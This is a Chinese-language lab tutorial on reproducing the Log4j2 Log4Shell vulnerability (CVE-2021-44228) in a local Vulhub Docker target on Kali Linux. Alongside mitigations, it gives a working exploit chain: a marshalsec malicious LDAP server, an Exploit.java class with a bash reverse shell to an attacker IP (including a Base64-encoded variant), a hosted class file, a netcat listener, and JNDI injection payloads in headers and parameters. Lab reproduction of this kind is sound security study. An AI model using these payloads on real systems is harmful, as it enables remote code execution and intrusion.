1. 项目概述与核心价值
最近几年,安全圈里提起“核弹级”漏洞,Log4j2 的 CVE-2021-44228 绝对榜上有名。这个漏洞的波及范围之广、利用门槛之低、危害性之大,让所有安全从业者和开发者都捏了一把汗。光看理论分析报告和漏洞公告,总感觉隔靴搔痒,理解不够深刻。最好的学习方法,就是亲手把它“玩”一遍。今天,我就带你从零开始,在 Kali Linux 这个渗透测试的“瑞士军刀”上,亲手搭建一个 Log4j2 漏洞靶场,并完整复现攻击流程。
这个项目不只是为了复现而复现。通过亲手搭建环境、构造攻击载荷、观察漏洞触发过程,你能真正理解 JNDI 注入的原理,明白为什么一段看似无害的日志记录会变成系统沦陷的入口。对于安全工程师,这是夯实内功、理解漏洞机理的绝佳实践;对于开发者,这是警醒自己代码安全重要性的生动一课;对于初学者,这是一条从理论走向实战的清晰路径。整个过程我们会用到 Docker、Maven、Java 等工具,但别担心,我会一步步拆解,确保即使你刚接触 Kali,也能跟着走下来。
2. 环境准备与核心工具解析
工欲善其事,必先利其器。在 Kali 上复现 Log4j2 漏洞,我们需要一个可控的、包含漏洞的靶场环境,以及发起攻击所需的工具链。直接在生产环境或者不熟悉的系统上搞,风险太大,也不道德。因此,搭建一个本地隔离的靶场是唯一正确且安全的选择。
2.1 为什么选择 Docker 化靶场?
手动从零编译一个存在漏洞的 Java 应用,步骤繁琐,依赖复杂,容易在环境问题上卡壳。Docker 容器化技术完美解决了这个问题。它能把应用及其所有依赖(特定版本的 Java、有漏洞的 Log4j2 库、Web 服务器等)打包成一个独立的镜像。我们只需要一条命令就能拉取并运行这个镜像,瞬间获得一个标准化的、可复现的漏洞环境。这极大地提升了实验效率,也保证了每次复现结果的一致性。
对于 Log4j2 漏洞,社区已经有维护得非常成熟的靶场镜像,比如 Vulhub 项目中的CVE-2021-44228环境。我们本次就基于它来搭建。使用 Docker 的另一个好处是隔离性,靶场运行在容器内,与你的宿主机 Kali 系统是隔离的,即使攻击过程中出了什么意外,也不会影响到你的主系统。
2.2 Kali Linux 基础配置与 Docker 安装
首先,确保你的 Kali 系统是最新状态。打开终端,执行更新:
sudo apt update && sudo apt upgrade -y如果你的 Kali 是全新安装,或者之前没有配置过 Docker,需要先安装它。Kali 源里通常有 Docker 包,但版本可能不是最新的。我习惯使用 Docker 官方提供的安装脚本,更可靠。
卸载旧版本(如果有):这是一个好习惯,避免冲突。
sudo apt remove docker docker-engine docker.io containerd runc -y安装依赖和添加 Docker 官方 GPG 密钥:
sudo apt install apt-transport-https ca-certificates curl gnupg lsb-release -y curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg这里注意,Kali 是基于 Debian 的,所以我们使用 Debian 的仓库地址。
设置稳定版仓库:
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null一个常见的坑是
$(lsb_release -cs)这个命令会获取你的 Kali 版本代号(如kali-rolling)。但 Docker 官方仓库可能没有针对kali-rolling的明确支持。如果后续apt update报错,可以尝试将其硬编码为 Debian 的稳定版代号,比如bullseye。不过在新版 Kali 和 Docker 中,通常直接支持。安装 Docker 引擎:
sudo apt update sudo apt install docker-ce docker-ce-cli containerd.io docker-compose-plugin -y验证安装并启动服务:
sudo systemctl start docker sudo systemctl enable docker sudo docker run hello-world如果看到 “Hello from Docker!” 的信息,说明安装成功。
(可选但推荐)将当前用户加入 docker 组:避免每次使用
docker命令都要加sudo。sudo usermod -aG docker $USER执行后,你需要完全注销并重新登录,或者新开一个终端,这个设置才会生效。
注意:将用户加入 docker 组等同于赋予了该用户 root 权限,因为 Docker 守护进程以 root 身份运行。在个人实验环境中可以这样操作以方便,但在生产服务器或多人使用的系统上需格外谨慎。
2.3 获取漏洞靶场环境
我们使用 Vulhub 提供的环境。Vulhub 是一个开源的漏洞靶场集合,收录了大量 CVE 的 Docker 化环境。有两种方式获取:
方式一:直接拉取靶场镜像(推荐,最简单)如果你只需要 Log4j2 这个靶场,可以直接拉取编译好的镜像。但需要知道准确的镜像名。我们可以先克隆 Vulhub 仓库,然后使用其 docker-compose 文件来启动,这样最规范。
方式二:克隆整个 Vulhub 项目(更灵活)这样你可以随时尝试其他漏洞靶场。
# 安装 git(如果未安装) sudo apt install git -y # 克隆 Vulhub 仓库 git clone https://github.com/vulhub/vulhub.git cd vulhub进入仓库后,找到 Log4j2 的目录:
cd log4j/CVE-2021-44228这个目录下就包含了搭建靶场所需的所有文件,最关键的是一个docker-compose.yml文件。
3. 靶场部署与漏洞环境搭建
现在,我们进入核心环节,把靶场运行起来。
3.1 使用 Docker Compose 一键启动靶场
在vulhub/log4j/CVE-2021-44228目录下,你会看到docker-compose.yml文件。用cat命令查看一下内容,理解其结构:
cat docker-compose.yml内容通常类似这样:
version: '2' services: vulnerable-app: image: vulhub/log4j:2.14.1 ports: - "8080:8080"它定义了一个名为vulnerable-app的服务,使用vulhub/log4j:2.14.1这个镜像,并将容器的 8080 端口映射到宿主机的 8080 端口。
启动靶场:
sudo docker-compose up -d-d参数表示在后台运行。命令执行后,Docker 会从网络拉取镜像(如果本地没有),然后创建并启动容器。
看到Creating ... done和Starting ... done的提示后,用以下命令检查容器是否正常运行:
sudo docker ps你应该能看到一个状态为Up的容器,名字可能包含cve-2021-44228。
3.2 验证靶场服务
打开你的 Kali 浏览器,访问http://127.0.0.1:8080。如果靶场启动成功,你应该能看到一个简单的 Web 页面,可能是一个登录框或者一个带有输入框的界面。这个应用的核心功能是:它会将你输入的内容,使用有漏洞的 Log4j2 库记录到日志中。
为了确认漏洞存在,我们可以先发一个简单的探测请求。打开终端,使用curl命令:
curl http://127.0.0.1:8080 -H "X-Api-Version: ${jndi:ldap://127.0.0.1:1389/a}"这个请求在 HTTP 头X-Api-Version中携带了一个简单的 JNDI 注入载荷。如果应用有漏洞,它会尝试解析这个${jndi:ldap://...}字符串。但现在还不会有明显反应,因为我们还没有启动恶意的 LDAP 服务器。这个步骤只是确认服务可达。
3.3 理解靶场应用架构
这个靶场通常是一个简单的 Spring Boot 或普通 Java Web 应用。它包含一个控制器(Controller),接收用户输入(可能通过参数、Header 或 Body),然后调用Logger.info()或类似方法记录日志。关键点在于,它使用的 Log4j2 版本在 2.0-beta9 到 2.14.1 之间,并且默认配置下没有设置log4j2.formatMsgNoLookups=true或LOG4J_FORMAT_MSG_NO_LOOKUPS=true环境变量。
当日志内容包含${jndi:ldap://attacker.com/evil}这样的模式时,Log4j2 的“查找”(Lookup)功能会被触发,它认为这是一个需要动态解析的表达式,于是会去尝试通过 JNDI 访问ldap://attacker.com/evil这个地址。攻击者控制的 LDAP 服务器可以返回一个指向远程 Java 类的引用,导致靶场应用加载并执行这个恶意类,从而实现远程代码执行(RCE)。
4. 攻击工具准备与利用原理深潜
要成功利用这个漏洞,我们需要模拟攻击者,搭建两个关键服务:一个恶意的 LDAP 服务器和一个托管恶意 Java 类的 HTTP 服务器。
4.1 JNDI 注入利用工具:marshalsec
在实战和研究中,最常用的工具是marshalsec。它是一个用于生成 JNDI 链接的利用工具。我们需要在 Kali 上编译并运行它。
首先,确保安装了 Java 开发环境:
sudo apt install openjdk-11-jdk-headless maven -y安装后检查版本:
java -version mvn -v接下来,下载并编译marshalsec:
git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译过程需要下载依赖,可能需要几分钟。编译成功后,在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件(版本号可能略有不同)。
这个 JAR 包的作用是启动一个恶意的 LDAP 服务器。当靶场应用向这个 LDAP 服务器发起查询时,marshalsec会返回一个指向我们控制的 HTTP 服务器的引用,告诉受害者应用:“你要的类在那个 HTTP 地址上,去那里下载吧”。
4.2 构造恶意 Java 类
受害者应用根据 LDAP 返回的引用,去指定的 HTTP 地址下载并加载一个 Java 类。这个类就是我们的攻击载荷。我们需要编写一个简单的 Java 类,在其静态代码块或构造函数中执行我们想要的命令,比如反弹 Shell。
创建一个文件,例如Exploit.java:
public class Exploit { static { try { // 这里填写要执行的命令。例如,反弹Shell到攻击机 192.168.1.100 的 4444 端口 String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"}; // 对于Windows,可能是 cmd.exe /c calc.exe // String[] cmd = {"cmd.exe", "/c", "calc.exe"}; java.lang.Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } }重要提示:这里的 IP192.168.1.100需要替换成你 Kali 主机的真实 IP 地址(在虚拟机中可能是 NAT 网络的地址,如192.168.xx.xx,可以使用ip addr命令查看)。端口4444可以自定义。
编译这个类。因为靶场环境可能有特定的 Java 版本,为了兼容性,最好用较低版本的 JDK 编译,或者指定-target参数。我们直接用 Kali 自带的 JDK 编译:
javac Exploit.java编译后会生成Exploit.class文件。这个文件需要放在一个 HTTP 服务器目录下,让靶场能够访问到。
4.3 启动 HTTP 服务器托管恶意类
在 Kali 上快速启动一个 HTTP 服务器的方法很多。Python3 是最方便的:
# 在包含 Exploit.class 文件的目录下执行 python3 -m http.server 8888这条命令会在当前目录启动一个简单的 HTTP 服务器,监听 8888 端口。确保这个端口没有被防火墙阻挡。
现在,我们的恶意类可以通过http://<你的KaliIP>:8888/Exploit.class这个地址被访问到。
5. 漏洞复现攻击链全流程实操
一切准备就绪,现在让我们串联起整个攻击链。请按照顺序,在不同的终端窗口中执行以下步骤。
5.1 第一步:启动恶意 LDAP 服务器
在第一个终端中,进入marshalsec编译目录,运行以下命令:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<你的KaliIP>:8888/#Exploit"将<你的KaliIP>替换为实际 IP。8888是上一步 HTTP 服务器的端口。#Exploit指定了要加载的类名(不含.class后缀)。
命令解释:
-cp:指定类路径,即我们编译好的 jar 包。marshalsec.jndi.LDAPRefServer:启动 LDAP 引用服务器。"http://.../#Exploit":这是 LDAP 服务器收到查询后将要返回的引用地址。
执行后,你会看到类似Listening on 0.0.0.0:1389的输出,表示 LDAP 服务器已在 1389 端口启动。
5.2 第二步:启动 HTTP 服务器托管恶意类
在第二个终端中,进入存放Exploit.class的目录,执行:
python3 -m http.server 8888看到Serving HTTP on 0.0.0.0 port 8888 ...的输出即可。
5.3 第三步:启动 Netcat 监听器接收反弹 Shell
在第三个终端中,启动 Netcat 监听我们在Exploit.java中指定的端口(4444):
nc -lvnp 4444-l监听模式,-v详细输出,-n不解析域名,-p指定端口。终端会显示listening on [any] 4444 ...,等待连接。
5.4 第四步:触发漏洞
现在,我们需要向靶场应用发送包含恶意 JNDI 注入的请求。回到浏览器或者使用curl命令。
方法一:通过 HTTP 头注入(常见)很多应用会将 HTTP 头记录到日志中。使用 curl 发送请求:
curl http://127.0.0.1:8080/some-endpoint -H "User-Agent: ${jndi:ldap://<你的KaliIP>:1389/Exploit}"或者使用其他可能的头部,如X-Forwarded-For、Referer等,具体取决于靶场应用记录哪些内容。你需要查看靶场源码或尝试常见头部。
方法二:通过请求参数注入如果靶场有接收参数的接口,比如http://127.0.0.1:8080/hello?name=xxx,可以尝试:
curl "http://127.0.0.1:8080/hello?name=%24%7Bjndi%3Aldap%3A%2F%2F<你的KaliIP>%3A1389%2FExploit%7D"这里对${jndi:ldap://...}进行了 URL 编码。
关键点:发送请求后,立即观察第一个终端(LDAP服务器)和第二个终端(HTTP服务器)。
- LDAP 服务器终端:应该会立刻出现一条访问日志,显示来自靶场容器 IP 的连接请求,查询路径为
/Exploit。这证明靶场成功解析了 JNDI 字符串并向你的 LDAP 服务器发起了查询。 - HTTP 服务器终端:紧接着,应该会出现一条访问日志,显示靶场容器 IP 访问了
/Exploit.class文件。这证明 LDAP 服务器成功返回了引用,靶场根据引用地址来下载恶意类了。
如果这两步都看到了,那么攻击链的前半部分已经成功。
5.5 第五步:获取 Shell 与验证
最后,观察第三个终端(Netcat监听器)。如果Exploit.class被成功加载并执行,你将在几秒内在这个终端看到一个新的连接,并得到一个命令行提示符。这个提示符就是靶场容器内部的 Shell!
成功后的 Netcat 终端可能显示:
connect to [192.168.1.100] from (UNKNOWN) [172.17.0.2] 12345 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@容器ID:/#现在,你可以在容器内执行命令了,例如whoami、id、ls -la等,验证你确实获得了容器的执行权限。这完全证明了 Log4j2 漏洞导致了远程代码执行。
6. 深度排查与常见问题解决实录
在实际操作中,你可能会遇到各种问题导致攻击不成功。下面是我在多次复现中踩过的坑和解决方案。
6.1 问题一:靶场容器无法访问攻击者(Kali)的服务
这是最常见的问题。表现为 LDAP 服务器或 HTTP 服务器收不到来自靶场的连接请求。
原因分析:
- 网络隔离:Docker 容器默认运行在独立的网络桥接模式。如果 Kali 是宿主机,容器访问宿主机的 IP 不是简单的
127.0.0.1或localhost。在容器内,localhost指向容器自己,而不是宿主机。 - 防火墙阻挡:Kali 或宿主机的防火墙可能阻止了 1389(LDAP)或 8888(HTTP)端口的入站连接。
- IP 地址错误:在构造 JNDI 载荷时,使用了错误的 Kali IP。
解决方案:
- 确定正确的 IP:在 Kali 终端执行
ip addr,找到 Docker 网络接口(通常是docker0)的 IP,或者物理网卡/虚拟网卡的 IP。对于运行在宿主机 Kali 上的容器,访问宿主机服务通常需要使用宿主机的物理网络IP或 Docker 网桥网关 IP(如172.17.0.1)。 - 使用宿主机特殊域名:在 Docker 容器内,有一个特殊的域名
host.docker.internal可以解析到宿主机的内部 IP。但这个特性默认在 Linux 版的 Docker 中不直接支持,主要支持 macOS 和 Windows。在 Linux 下,更通用的方法是使用172.17.0.1(Docker 默认网桥网关)。 - 修改攻击载荷:将 JNDI 字符串中的 IP 改为
172.17.0.1(假设是默认网桥)。例如:${jndi:ldap://172.17.0.1:1389/Exploit}。 - 检查防火墙:在 Kali 上临时关闭防火墙测试:
sudo ufw disable(如果使用 ufw)。或者确保相关端口已开放。
6.2 问题二:LDAP 服务器收到请求,但 HTTP 服务器没收到
原因分析:
- 恶意类编译或存放问题:
Exploit.class文件不存在,或者 HTTP 服务器的目录不对。 - 类名不匹配:LDAP 命令中
#Exploit指定的类名与Exploit.class的文件名不一致(大小写敏感)。 - Java 版本兼容性问题:靶场容器的 Java 版本(如 Java 8)无法加载由高版本 JDK(如 Java 11)编译的类。
解决方案:
- 确认文件路径:确保在启动 Python HTTP 服务器的目录下,
ls命令能看到Exploit.class。 - 检查类名:确保 LDAP 命令中的类名是
Exploit,且编译出的文件确实是Exploit.class。 - 重新编译:使用
-target和-source参数指定低版本兼容性编译:javac -source 8 -target 8 Exploit.java
6.3 问题三:收到连接但未执行命令 / Netcat 无反应
原因分析:
- 命令构造问题:
Exploit.java中的命令语法错误,或者靶场容器内没有/bin/bash(某些精简镜像可能使用/bin/sh)。 - 反弹 Shell 命令被拦截:某些环境下,特殊的符号(如
>&)可能在传输或执行时出现问题。 - 网络出站限制:靶场容器可能无法对外发起 TCP 连接(到你的 Netcat 监听端口)。
解决方案:
- 简化命令测试:先将命令改为最简单的,如弹出一个计算器(如果容器有 GUI)或执行
touch /tmp/success来测试命令是否执行。// Linux String[] cmd = {"/bin/sh", "-c", "touch /tmp/success"}; // 或尝试直接执行命令 String[] cmd = {"/bin/sh", "-c", "ping -c 2 <你的KaliIP>"}; - 使用编码命令:对于复杂的反弹 Shell,可以尝试使用 Base64 编码。
String cmd = "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"; String b64Cmd = java.util.Base64.getEncoder().encodeToString(cmd.getBytes()); String[] finalCmd = {"/bin/sh", "-c", "echo " + b64Cmd + " | base64 -d | bash"}; - 检查容器网络:进入靶场容器(
docker exec -it <容器ID> /bin/bash),手动尝试执行curl http://<你的KaliIP>:8888或nc -zv <你的KaliIP> 4444,看网络是否连通。
6.4 问题四:高版本 Java 的利用限制
从 Java 8u191、11.0.1、12 等版本开始,Oracle 引入了对 JNDI 远程类加载的限制(com.sun.jndi.ldap.object.trustURLCodebase默认为false)。这意味着即使存在 Log4j2 漏洞,默认情况下也无法从远程 LDAP 服务器加载类。
解决方案: 我们的靶场环境vulhub/log4j:2.14.1通常使用的是较旧的、存在漏洞的 Java 8 版本(早于 8u191),所以可以成功。如果你在复现其他环境时失败,需要检查 Java 版本。对于高版本 Java,利用方式更为复杂,可能需要结合本地类路径(ClassPath)中已有的、可利用的类进行二次利用,这超出了基础复现的范围。
7. 漏洞修复与防御措施探究
成功复现漏洞后,我们不仅要“知其然”,更要“知其所以防”。了解如何修复和防御,才是我们学习的最终目的。
7.1 紧急缓解措施
如果发现系统存在漏洞,应立即采取以下一种或多种措施:
- 升级 Log4j2:这是根本解决方案。将 Log4j2 升级到安全版本(2.15.0 及以上,对于 2.12.x 分支升级到 2.12.2 及以上,对于 2.10.x 分支升级到 2.10.2 及以上)。
- 修改 JVM 参数:对于无法立即升级的应用,可以添加以下 JVM 启动参数:
这个参数会全局禁用 Lookup 功能。-Dlog4j2.formatMsgNoLookups=true - 设置系统环境变量:
对于某些部署方式(如容器),设置环境变量可能比修改 JVM 参数更方便。LOG4J_FORMAT_MSG_NO_LOOKUPS=true - 移除有漏洞的类:在极端情况下,可以从 log4j-core 的 jar 包中删除
JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
7.2 长期防御策略
- 依赖管理:使用 Maven、Gradle 等工具的依赖检查插件(如 OWASP Dependency-Check),定期扫描项目中的已知漏洞。
- 最小化日志内容:避免记录不可信的、用户可控的输入。对于必须记录的用户输入,进行严格的过滤和转义。
- 网络层防护:在防火墙或 WAF(Web 应用防火墙)上设置规则,拦截包含
jndi:、ldap://、rmi://、dns://等模式的请求。 - 运行时保护:使用 RASP(运行时应用自我保护)技术,监控应用的关键行为,如异常的类加载、JNDI 调用等。
- 深度防御:即使修复了 Log4j2,也要确保 Java 运行环境本身是最新的,并遵循安全最佳实践,如使用 Security Manager 限制代码权限。
7.3 对开发者的启示
这个漏洞给所有开发者上了一堂深刻的安全课:永远不要信任任何外部输入。即使是像日志记录这样看似“无害”的操作,如果处理不当,也会成为致命的攻击点。在代码审查时,需要特别关注那些将用户输入直接传递给解释器、渲染引擎、数据库查询或日志系统的地方。
复现完成后,别忘了清理实验环境。在 Vulhub 靶场目录下执行:
sudo docker-compose down这会停止并移除容器。你也可以使用docker system prune -a来清理所有未使用的镜像、容器和网络,释放磁盘空间。整个流程走下来,从环境搭建到最终拿到 Shell,你对 Log4j2 漏洞的理解就不再停留在新闻标题上了。每一个步骤的细节,每一次排错的过程,都在加深你对漏洞原理、利用链和防御方法的认知。这种亲手实践获得的经验,远比读十篇分析报告更有价值。安全之路,始于足下,更始于每一次真实的“攻防”体验。